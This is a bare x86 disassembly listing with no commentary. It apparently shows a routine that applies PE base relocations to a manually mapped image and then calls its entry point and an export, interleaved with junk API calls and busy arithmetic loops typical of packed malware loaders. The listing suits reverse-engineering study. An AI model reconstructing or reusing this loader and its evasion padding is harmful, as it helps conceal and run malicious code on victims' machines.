movaps xmm0, xmm1
call fcn.00402820
mulsd xmm0, qword [0x43a318]
addsd xmm0, qword [ebp - 0x60]
movaps xmm2, xmm0
movsd qword [ebp - 0x60], xmm2
movsd qword [ebp - 0x8c], xmm2
inc ebx
movd xmm1, ebx
cvtdq2pd xmm1, xmm1
movsd xmm0, qword [0x43a4f8]
comisd xmm0, xmm1
jae 0x403d90
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 4], 8
wait
mov eax, esi
cdq
sub eax, edx
sar eax, 1
cmp eax, edi
cmovl esi, edi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x54], esi
mov edx, dword [ebp - 0x24]
mov eax, edx
mov ecx, dword [ebp - 0x58]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x64], eax
mov eax, ecx
lea ecx, [eax + 0xa0]
mov dword [ebp - 0x4c], ecx
wait
mov dword [ebp - 4], 0xffffffff
jmp 0x403f52
cmp dword [ecx + 4], 0
je 0x40427c
mov ecx, dword [ecx]
add ecx, edx
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x70], ecx
cmp dword [ecx + 4], 0
je 0x40427c
mov dword [ebp - 4], 0xa
wait
lea eax, [esi + 4]
cmp eax, edi
cmovle esi, edi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x54], esi
mov ecx, dword [ecx]
add ecx, edx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x70]
mov eax, dword [edx + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x4c], eax
add edx, 8
mov dword [ebp - 0x78], edx
wait
mov dword [ebp - 4], 0xffffffff
jmp 0x4041a3
test eax, eax
je 0x40421d
mov edi, dword [ebp - 0x34]
mov esi, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x78]
dec edi
movzx edx, word [ebx]
mov ax, dx
shr ax, 0xc
cmp ax, 0xa
jne 0x4041cc
and edx, 0xfff
add dword [edx + ecx], esi
jmp 0x404204
cmp ax, 3
jne 0x4041dd
and edx, 0xfff
add dword [edx + ecx], esi
jmp 0x404204
cmp ax, 1
jne 0x4041f4
and edx, 0xfff
mov eax, esi
shr eax, 0x10
add word [edx + ecx], ax
jmp 0x404204
cmp ax, 2
jne 0x404204
and edx, 0xfff
add word [edx + ecx], si
add ebx, 2
test edi, edi
jne 0x4041b0
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x34], edi
mov ebx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x4c], eax
cmp esi, edi
jge 0x40426e
movsd xmm0, qword [0x43a440]
movsd qword [ebp - 0xa4], xmm0
movsd qword [ebp - 0x48], xmm0
nop word [eax + eax]
call dword [sym.imp.USER32.dll_GetCursor]
cvttsd2si ecx, qword [ebp - 0x48]
call fcn.00401c10
mov ecx, eax
call fcn.0042f100
movsd qword [ebp - 0x48], xmm0
cvttsd2si eax, xmm0
cmp al, 0x35
je 0x404240
movsd xmm0, qword [ebp - 0xa4]
jmp 0x404235
mov ecx, dword [ebp - 0x70]
add ecx, dword [ecx + 4]
mov edx, dword [ebp - 0x24]
jmp 0x403f60
mov ebx, 1
movsd xmm1, qword [0x43a348]
nop dword [eax]
mulsd xmm1, qword [ebp - 0xb0]
addsd xmm1, qword [ebp - 0xb8]
movaps xmm0, xmm1
call fcn.00402820
mulsd xmm0, qword [0x43a318]
addsd xmm0, qword [ebp - 0x60]
movsd qword [ebp - 0x60], xmm0
inc ebx
movd xmm1, ebx
cvtdq2pd xmm1, xmm1
movsd xmm0, qword [0x43a4f8]
comisd xmm0, xmm1
jae 0x404290
mov ebx, dword [ebp - 0x1c]
cmp esi, edi
jle 0x404492
lea ecx, [esi + esi]
mov dword [ebp - 0x38], ecx
movsd xmm0, qword [0x43a478]
movsd qword [ebp - 0xa4], xmm0
cmp ecx, edi
jge 0x4044e9
mov dword [ebp - 0x3c], 0x79
mov dword [ebp - 0x80], 0
cmp bl, 0x18
jne 0x40435c
mov edi, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x80]
push esi
push edi
call fcn.004018b0
add esp, 8
call fcn.0042edce
mov edi, eax
mov esi, edx
mov ecx, edi
call fcn.0042f100
cvtsd2ss xmm0, xmm0
movss dword [ebp - 0x3c], xmm0
mov edx, esi
mov ecx, edi
call fcn.0042f100
call fcn.00401760
movss xmm1, dword [ebp - 0x3c]
subss xmm1, xmm0
cvttss2si ebx, xmm1
cmp bl, 0x18
je 0x404313
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x28]
cmp bl, 0x1c
jg 0x4043a4
push 0
push 0xa
call fcn.004018b0
add esp, 8
cvttss2si eax, xmm0
movsx eax, al
movd xmm2, eax
cvtdq2ps xmm2, xmm2
movaps xmm1, xmm2
divss xmm1, dword [0x43a53c]
movaps xmm0, xmm2
subss xmm0, xmm1
cvttss2si eax, xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
divss xmm2, xmm1
addss xmm0, xmm2
cvttss2si ebx, xmm0
cmp bl, 0x18
jne 0x404423
mov ebx, 0x37
movss xmm2, dword [0x43a338]
movss dword [ebp - 0x18], xmm2
nop
call dword [sym.imp.USER32.dll_EmptyClipboard]
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
call fcn.00401760
movss dword [ebp - 0x3c], xmm0
call fcn.0042edce
push edx
push eax
call fcn.004018b0
add esp, 8
cvttss2si ecx, xmm0
movss xmm0, dword [ebp - 0x18]
subss xmm0, dword [ebp - 0x3c]
cvttss2si eax, xmm0
movsx ebx, cl
movsx eax, al
movd xmm2, eax
cvtdq2ps xmm2, xmm2
movss dword [ebp - 0x18], xmm2
movd xmm0, ebx
cvtdq2ps xmm0, xmm0
mulss xmm0, dword [ebp - 0x3c]
subss xmm0, xmm2
cvttss2si eax, xmm0
cmp al, 0x18
je 0x4043c0
mov ebx, 0x25
call dword [sym.imp.USER32.dll_GetForegroundWindow]
imul ebx, ebx
cmp bl, 0x5e
jle 0x404428
cmp bl, 0x25
je 0x404476
call dword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
xor edx, edx
lea ecx, [edx + 0x4d]
call fcn.0042f100
mulsd xmm0, qword [ebp - 0xa4]
movsd qword [ebp - 0x48], xmm0
call fcn.00401760
call fcn.0042edce
mov ecx, eax
call fcn.0042f100
movsd xmm1, qword [ebp - 0x48]
subsd xmm1, xmm0
cvttsd2si ebx, xmm1
movzx eax, bl
xor ecx, ecx
cmp bl, 0x70
cmovle eax, ecx
mov bl, al
inc esi
mov dword [ebp - 0x30], esi
cmp esi, edi
mov ecx, dword [ebp - 0x38]
jg 0x4042f2
mov esi, dword [ebp - 0x24]
mov ebx, dword [ebp - 0x20]
cmp byte [ebp + 0xc], 0
jne 0x4044f6
mov edx, dword [ebp + 0x10]
mov ecx, esi
call fcn.00402890
mov edi, eax
test edi, edi
je 0x404500
cmp byte [ebp + 0x28], 0
je 0x4044be
mov edx, esi
mov ecx, dword [ebp + 0x2c]
call fcn.00402850
push 0
push dword [ebp + 0x14]
push 0
push esi
call ebx
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
call edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x34
mov ecx, dword [ebp - 0x58]
mov ebx, dword [ecx + 0x28]
mov esi, dword [ebp - 0x24]
add ebx, esi
jmp 0x404498
push 0
push dword [ebp + 0x14]
push 0
push esi
call ebx
movsd xmm0, qword [ebp - 0x60]
call fcn.0042ef91
add eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x34
dec esi
jmp 0x402a8a